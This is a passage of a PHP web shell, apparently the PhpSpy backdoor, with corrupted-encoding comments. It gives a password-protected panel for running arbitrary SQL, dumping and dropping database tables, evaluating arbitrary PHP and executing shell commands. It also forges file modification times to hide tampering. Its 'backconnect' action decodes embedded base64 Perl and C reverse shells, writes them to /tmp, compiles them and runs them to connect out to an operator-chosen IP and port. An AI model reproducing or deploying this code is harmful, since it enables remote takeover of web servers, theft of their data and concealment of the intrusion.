790 $('setdbname').submit();
791}
792function settable(tablename,doing,page) {
793 if(!tablename) return;
794 if (doing) {
795 $('settable').doing.value=doing;
796 }
797 if (page) {
798 $('settable').page.value=page;
799 }
800 $('settable').tablename.value=tablename;
801 $('settable').submit();
802}
803</script>
804<?php
805 //#++ў+|-+
806 formhead(array('name'=>'recordlist'));
807 makehide('doing');
808 makehide('action','sqladmin');
809 makehide('base64');
810 makehide('tablename');
811 p($dbform);
812 formfoot();
813
814 //-б|и- +|+т
815 formhead(array('name'=>'setdbname'));
816 makehide('action','sqladmin');
817 p($dbform);
818 if (!$dbname) {
819 makehide('dbname');
820 }
821 formfoot();
822
823 //-б|и#э
824 formhead(array('name'=>'settable'));
825 makehide('action','sqladmin');
826 p($dbform);
827 makehide('tablename');
828 makehide('page',$page);
829 makehide('doing');
830 formfoot();
831
832 $cachetables = array();
833 $pagenum = 30;
834 $page = intval($page);
835 if($page) {
836 $start_limit = ($page - 1) * $pagenum;
837 } else {
838 $start_limit = 0;
839 $page = 1;
840 }
841 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
842 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
843 //+ё+б- +|+т-+-в
844 $mysqlver = mysql_get_server_info();
845 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
846 $highver = $mysqlver > '4.1' ? 1 : 0;
847
848 //+ё+б- +|+т
849 $query = q("SHOW DATABASES");
850 $dbs = array();
851 $dbs[] = '-- Select a database --';
852 while($db = mysql_fetch_array($query)) {
853 $dbs[$db['Database']] = $db['Database'];
854 }
855 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
856 $tabledb = array();
857 if ($dbname) {
858 p('<p>');
859 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
860 if ($tablename) {
861 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
862 }
863 p('</p>');
864 mysql_select_db($dbname);
865
866 $getnumsql = '';
867 $runquery = 0;
868 if ($sql_query) {
869 $runquery = 1;
870 }
871 $allowedit = 0;
872 if ($tablename && !$sql_query) {
873 $sql_query = "SELECT * FROM $tablename";
874 $getnumsql = $sql_query;
875 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
876 $allowedit = 1;
877 }
878 p('<form action="'.$self.'" method="POST">');
879 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
880 makehide('tablename', $tablename);
881 makehide('action','sqladmin');
882 p($dbform);
883 p('</form>');
884 if ($tablename || ($runquery && $sql_query)) {
885 if ($doing == 'structure') {
886 $result = q("SHOW COLUMNS FROM $tablename");
887 $rowdb = array();
888 while($row = mysql_fetch_array($result)) {
889 $rowdb[] = $row;
890 }
891 p('<table border="0" cellpadding="3" cellspacing="0">');
892 p('<tr class="head">');
893 p('<td>Field</td>');
894 p('<td>Type</td>');
895 p('<td>Null</td>');
896 p('<td>Key</td>');
897 p('<td>Default</td>');
898 p('<td>Extra</td>');
899 p('</tr>');
900 foreach ($rowdb as $row) {
901 $thisbg = bg();
902 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
903 p('<td>'.$row['Field'].'</td>');
904 p('<td>'.$row['Type'].'</td>');
905 p('<td>'.$row['Null'].' </td>');
906 p('<td>'.$row['Key'].' </td>');
907 p('<td>'.$row['Default'].' </td>');
908 p('<td>'.$row['Extra'].' </td>');
909 p('</tr>');
910 }
911 tbfoot();
912 } elseif ($doing == 'insert' || $doing == 'edit') {
913 $result = q('SHOW COLUMNS FROM '.$tablename);
914 while ($row = mysql_fetch_array($result)) {
915 $rowdb[] = $row;
916 }
917 $rs = array();
918 if ($doing == 'insert') {
919 p('<h2>Insert new line in '.$tablename.' table »</h2>');
920 } else {
921 p('<h2>Update record in '.$tablename.' table »</h2>');
922 $where = base64_decode($base64);
923 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
924 $rs = mysql_fetch_array($result);
925 }
926 p('<form method="post" action="'.$self.'">');
927 p($dbform);
928 makehide('action','sqladmin');
929 makehide('tablename',$tablename);
930 p('<table border="0" cellpadding="3" cellspacing="0">');
931 foreach ($rowdb as $row) {
932 if ($rs[$row['Field']]) {
933 $value = htmlspecialchars($rs[$row['Field']]);
934 } else {
935 $value = '';
936 }
937 $thisbg = bg();
938 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
939 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
940 }
941 if ($doing == 'insert') {
942 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
943 } else {
944 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
945 makehide('base64', $base64);
946 }
947 p('</table></form>');
948 } else {
949 $querys = @explode(';',$sql_query);
950 foreach($querys as $num=>$query) {
951 if ($query) {
952 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
953 switch(qy($query))
954 {
955 case 0:
956 p('<h2>Error : '.mysql_error().'</h2>');
957 break;
958 case 1:
959 if (strtolower(substr($query,0,13)) == 'select * from') {
960 $allowedit = 1;
961 }
962 if ($getnumsql) {
963 $tatol = mysql_num_rows(q($getnumsql));
964 $multipage = multi($tatol, $pagenum, $page, $tablename);
965 }
966 if (!$tablename) {
967 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
968 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
969 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
970 $tablename = $matches[1][0];
971 }
972 $result = q($query);
973 p($multipage);
974 p('<table border="0" cellpadding="3" cellspacing="0">');
975 p('<tr class="head">');
976 if ($allowedit) p('<td>Action</td>');
977 $fieldnum = @mysql_num_fields($result);
978 for($i=0;$i<$fieldnum;$i++){
979 $name = @mysql_field_name($result, $i);
980 $type = @mysql_field_type($result, $i);
981 $len = @mysql_field_len($result, $i);
982 p("<td nowrap>$name<br><span>$type($len)</span></td>");
983 }
984 p('</tr>');
985 while($mn = @mysql_fetch_assoc($result)){
986 $thisbg = bg();
987 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
988 $where = $tmp = $b1 = '';
989 foreach($mn as $key=>$inside){
990 if ($inside) {
991 $where .= $tmp.$key."='".addslashes($inside)."'";
992 $tmp = ' AND ';
993 }
994 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
995 }
996 $where = base64_encode($where);
997 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
998 p($b1);
999 p('</tr>');
1000 unset($b1);
1001 }
1002 tbfoot();
1003 p($multipage);
1004 break;
1005 case 2:
1006 $ar = mysql_affected_rows();
1007 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1008 break;
1009 }
1010 }
1011 }
1012 }
1013 } else {
1014 $query = q("SHOW TABLE STATUS");
1015 $table_num = $table_rows = $data_size = 0;
1016 $tabledb = array();
1017 while($table = mysql_fetch_array($query)) {
1018 $data_size = $data_size + $table['Data_length'];
1019 $table_rows = $table_rows + $table['Rows'];
1020 $table['Data_length'] = sizecount($table['Data_length']);
1021 $table_num++;
1022 $tabledb[] = $table;
1023 }
1024 $data_size = sizecount($data_size);
1025 unset($table);
1026 p('<table border="0" cellpadding="0" cellspacing="0">');
1027 p('<form action="'.$self.'" method="POST">');
1028 makehide('action','sqladmin');
1029 p($dbform);
1030 p('<tr class="head">');
1031 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1032 p('<td>Name</td>');
1033 p('<td>Rows</td>');
1034 p('<td>Data_length</td>');
1035 p('<td>Create_time</td>');
1036 p('<td>Update_time</td>');
1037 if ($highver) {
1038 p('<td>Engine</td>');
1039 p('<td>Collation</td>');
1040 }
1041 p('</tr>');
1042 foreach ($tabledb as $key => $table) {
1043 $thisbg = bg();
1044 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1045 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1046 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1047 p('<td>'.$table['Rows'].'</td>');
1048 p('<td>'.$table['Data_length'].'</td>');
1049 p('<td>'.$table['Create_time'].'</td>');
1050 p('<td>'.$table['Update_time'].'</td>');
1051 if ($highver) {
1052 p('<td>'.$table['Engine'].'</td>');
1053 p('<td>'.$table['Collation'].'</td>');
1054 }
1055 p('</tr>');
1056 }
1057 p('<tr class='.bg().'>');
1058 p('<td> </td>');
1059 p('<td>Total tables: '.$table_num.'</td>');
1060 p('<td>'.$table_rows.'</td>');
1061 p('<td>'.$data_size.'</td>');
1062 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1063 p('</tr>');
1064
1065 p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1066 makehide('doing','backupmysql');
1067 formfoot();
1068 p("</table>");
1069 fr($query);
1070 }
1071 }
1072 }
1073 tbfoot();
1074 @mysql_close();
1075}//end sql backup
1076
1077
1078elseif ($action == 'backconnect') {
1079 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1080 !$yourport && $yourport = '12345';
1081 $usedb = array('perl'=>'perl','c'=>'c');
1082
1083 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1084 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1085 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1086 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1087 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1088 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1089 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1090 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1091 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1092 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1093 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1094 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1095 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1096 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1097 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1098
1099 if ($start && $yourip && $yourport && $use){
1100 if ($use == 'perl') {
1101 cf('/tmp/angel_bc',$back_connect);
1102 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1103 } else {
1104 cf('/tmp/angel_bc.c',$back_connect_c);
1105 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1106 @unlink('/tmp/angel_bc.c');
1107 $res = execute("/tmp/angel_bc $yourip $yourport &");
1108 }
1109 m("Now script try connect to $yourip port $yourport ...");
1110 }
1111
1112 formhead(array('title'=>'Back Connect'));
1113 makehide('action','backconnect');
1114 p('<p>');
1115 p('Your IP:');
1116 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1117 p('Your Port:');
1118 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1119 p('Use:');
1120 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1121 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1122 p('</p>');
1123 formfoot();
1124}//end sql backup
1125
1126elseif ($action == 'eval') {
1127 $phpcode = trim($phpcode);
1128 if($phpcode){
1129 if (!preg_match('#<\?#si', $phpcode)) {
1130 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1131 }
1132 eval("?".">$phpcode<?");
1133 }
1134 formhead(array('title'=>'Eval PHP Code'));
1135 makehide('action','eval');
1136 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1137 p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
1138 formfooter();
1139}//end eval
1140
1141elseif ($action == 'editfile') {
1142 if(file_exists($opfile)) {
1143 $fp=@fopen($opfile,'r');
1144 $contents=@fread($fp, filesize($opfile));
1145 @fclose($fp);
1146 $contents=htmlspecialchars($contents);
1147 }
1148 formhead(array('title'=>'Create / Edit File'));
1149 makehide('action','file');
1150 makehide('dir',$nowpath);
1151 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1152 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1153 formfooter();
1154}//end editfile
1155
1156elseif ($action == 'newtime') {
1157 $opfilemtime = @filemtime($opfile);
1158 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1159 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1160 formhead(array('title'=>'Clone file was last modified time'));
1161 makehide('action','file');
1162 makehide('dir',$nowpath);
1163 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1164 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1165 formfooter();
1166 formhead(array('title'=>'Set last modified'));
1167 makehide('action','file');
1168 makehide('dir',$nowpath);
1169 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1170 p('<p>Instead »');
1171 p('year:');
1172 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1173 p('month:');
1174 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1175 p('day:');
1176 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1177 p('hour:');
1178 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1179 p('minute:');
1180 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1181 p('second:');
1182 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1183 p('</p>');
1184 formfooter();
1185}//end newtime
1186
1187elseif ($action == 'shell') {
1188 if (IS_WIN && IS_COM) {
1189 if($program && $parameter) {
1190 $shell= new COM('Shell.Application');
1191 $a = $shell->ShellExecute($program,$parameter);
1192 m('Program run has '.(!$a ? 'success' : 'fail'));
1193 }
1194 !$program && $program = 'c:\windows\system32\cmd.exe';
1195 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
1196 formhead(array('title'=>'Execute Program'));
1197 makehide('action','shell');
1198 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1199 p('<p>');
1200 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1201 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1202 p('</p>');
1203 formfoot();
1204 }
1205 formhead(array('title'=>'Execute Command'));
1206 makehide('action','shell');
1207 if (IS_WIN && IS_COM) {
1208 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1209 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1210 }
1211 p('<p>');
1212 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
1213 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1214 p('</p>');
1215 formfoot();
1216
1217 if ($command) {
1218 p('<hr width="100%" noshade /><pre>');
1219 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1220 $wsh = new COM('WScript.shell');
1221 $exec = $wsh->exec('cmd.exe /c '.$command);
1222 $stdout = $exec->StdOut();
1223 $stroutput = $stdout->ReadAll();
1224 echo $stroutput;
1225 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1226 $descriptorspec = array(
1227 0 => array('pipe', 'r'),
1228 1 => array('pipe', 'w'),
1229 2 => array('pipe', 'w')
1230 );
1231 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1232 if (is_resource($process)) {
1233 fwrite($pipes[0], $command."\r\n");
1234 fwrite($pipes[0], "exit\r\n");
1235 fclose($pipes[0]);
1236 while (!feof($pipes[1])) {
1237 echo fgets($pipes[1], 1024);
1238 }
1239 fclose($pipes[1]);
1240 while (!feof($pipes[2])) {
1241 echo fgets($pipes[2], 1024);
1242 }
1243 fclose($pipes[2]);
1244 proc_close($process);
1245 }
1246 } else {
1247 echo(execute($command));
1248 }
1249 p('</pre>');
1250 }
1251}//end shell
1252
1253elseif ($action == 'phpenv') {
1254 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1255 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1256 !$dis_func && $dis_func = 'No';
1257 $info = array(
1258 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1259 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1260 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1261 4 => array('Server OS',PHP_OS),
1262 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1263 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1264 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1265 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1266 9 => array('The file path',__FILE__),
1267
1268 10 => array('PHP Version',PHP_VERSION),
1269 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
1270 12 => array('Safe Mode',getcfg('safe_mode')),
1271 13 => array('Administrator',$adminmail),
1272 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1273 15 => array('enable_dl',getcfg('enable_dl')),
1274 16 => array('display_errors',getcfg('display_errors')),
1275 17 => array('register_globals',getcfg('register_globals')),
1276 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1277 19 => array('memory_limit',getcfg('memory_limit')),
1278 20 => array('post_max_size',getcfg('post_max_size')),
1279 21 => array('upload_max_filesize',$upsize),
1280 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1281 23 => array('disable_functions',$dis_func),
1282 );
1283
1284 if($phpvarname) {
1285 m($phpvarname .' : '.getcfg($phpvarname));
1286 }
1287
1288 formhead(array('title'=>'Server environment'));
1289 makehide('action','phpenv');
1290 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1291 formfooter();
1292
1293 $hp = array(0=> 'Server', 1=> 'PHP');
1294 for($a=0;$a<2;$a++) {
1295 p('<h2>'.$hp[$a].' »</h2>');
1296 p('<ul class="info">');
1297 if ($a==0) {
1298 for($i=1;$i<=9;$i++) {
1299 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1300 }
1301 } elseif ($a == 1) {
1302 for($i=10;$i<=23;$i++) {
1303 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1304 }
1305 }
1306 p('</ul>');
1307 }
1308}//end phpenv
1309
1310else {
1311 m('Undefined Action');
1312}
1313
1314?>
1315</td></tr></table>
1316<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
1317 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1318 Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
1319</div>
1320</body>
1321</html>
1322
1323<?php
1324
1325/*======================================================
1326|п- +т
1327======================================================*/
1328
1329function m($msg) {
1330 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1331 echo $msg;
1332 echo '</div>';
1333}
1334function scookie($key, $value, $life = 0, $prefix = 1) {
1335 global $admin, $timestamp, $_SERVER;
1336 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1337 $life = $life ? $life : $admin['cookielife'];
1338 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1339 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1340}
1341function multi($num, $perpage, $curpage, $tablename) {
1342 $multipage = '';
1343 if($num > $perpage) {
1344 $page = 10;
1345 $offset = 5;
1346 $pages = @ceil($num / $perpage);
1347 if($page > $pages) {
1348 $from = 1;
1349 $to = $pages;
1350 } else {
1351 $from = $curpage - $offset;
1352 $to = $curpage + $page - $offset - 1;
1353 if($from < 1) {
1354 $to = $curpage + 1 - $from;
1355 $from = 1;
1356 if(($to - $from) < $page && ($to - $from) < $pages) {
1357 $to = $page;
1358 }
1359 } elseif($to > $pages) {
1360 $from = $curpage - $pages + $to;
1361 $to = $pages;
1362 if(($to - $from) < $page && ($to - $from) < $pages) {
1363 $from = $pages - $page + 1;
1364 }
1365 }
1366 }
1367 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1368 for($i = $from; $i <= $to; $i++) {
1369 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1370 }
1371 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1372 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1373 }
1374 return $multipage;
1375}
1376// ||-++ы++
1377function loginpage() {
1378?>
1379 <style type="text/css">
1380 input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
1381 </style>
1382 <form method="POST" action="">
1383 <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
1384 <input type="hidden" name="doing" value="login">
1385 <input type="submit" value="Login">
1386 </form>
1387<?php
1388 exit;
1389}//end loginpage()
1390
1391function execute($cfe) {
1392 $res = '';
1393 if ($cfe) {
1394 if(function_exists('exec')) {
1395 @exec($cfe,$res);
1396 $res = join("\n",$res);
1397 } elseif(function_exists('shell_exec')) {
1398 $res = @shell_exec($cfe);
1399 } elseif(function_exists('system')) {
1400 @ob_start();
1401 @system($cfe);
1402 $res = @ob_get_contents();
1403 @ob_end_clean();
1404 } elseif(function_exists('passthru')) {
1405 @ob_start();
1406 @passthru($cfe);
1407 $res = @ob_get_contents();
1408 @ob_end_clean();
1409 } elseif(@is_resource($f = @popen($cfe,"r"))) {
1410 $res = '';
1411 while(!@feof($f)) {
1412 $res .= @fread($f,1024);
1413 }
1414 @pclose($f);
1415 }
1416 }
1417 return $res;
1418}
1419function which($pr) {
1420 $path = execute("which $pr");
1421 return ($path ? $path : $pr);
1422}
1423
1424function cf($fname,$text){
1425 if($fp=@fopen($fname,'w')) {
1426 @fputs($fp,@base64_decode($text));
1427 @fclose($fp);
1428 }
1429}
1430
1431// -||ц|ў-+-+-в
1432function debuginfo() {
1433 global $starttime;
1434 $mtime = explode(' ', microtime());
1435 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1436 echo 'Processed in '.$totaltime.' second(s)';
1437}
1438
1439//-м++- +|+т
1440function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1441 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1442 p('<h2>Can not connect to MySQL server</h2>');
1443 exit;
1444 }
1445 if($link && $dbname) {
1446 if (!@mysql_select_db($dbname, $link)) {
1447 p('<h2>Database selected has error</h2>');
1448 exit;
1449 }
1450 }
1451 if($link && mysql_get_server_info() > '4.1') {
1452 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
1453 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1454 }
1455 }
1456 return $link;
1457}
1458
1459// +е|Ї+к-х+++
1460function s_array(&$array) {
1461 if (is_array($array)) {
1462 foreach ($array as $k => $v) {
1463 $array[$k] = s_array($v);
1464 }
1465 } else if (is_string($array)) {
1466 $array = stripslashes($array);
1467 }
1468 return $array;
1469}
1470
1471// |х| HTML| -ы
1472function html_clean($content) {
1473 $content = htmlspecialchars($content);
1474 $content = str_replace("\n", "<br />", $content);
1475 $content = str_replace(" ", " ", $content);
1476 $content = str_replace("\t", " ", $content);
1477 return $content;
1478}
1479
1480// +ё+б+и-|
1481function getChmod($filepath){
1482 return substr(base_convert(@fileperms($filepath),10,8),-4);
1483}
1484
1485function getPerms($filepath) {
1486 $mode = @fileperms($filepath);
1487 if (($mode & 0xC000) === 0xC000) {$type = 's';}
1488 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
1489 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
1490 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
1491 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
1492 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
1493 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
1494 else {$type = '?';}
1495
1496 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1497 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1498 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1499 $group['read'] = ($mode & 00040) ? 'r' : '-';
1500 $group['write'] = ($mode & 00020) ? 'w' : '-';
1501 $group['execute'] = ($mode & 00010) ? 'x' : '-';
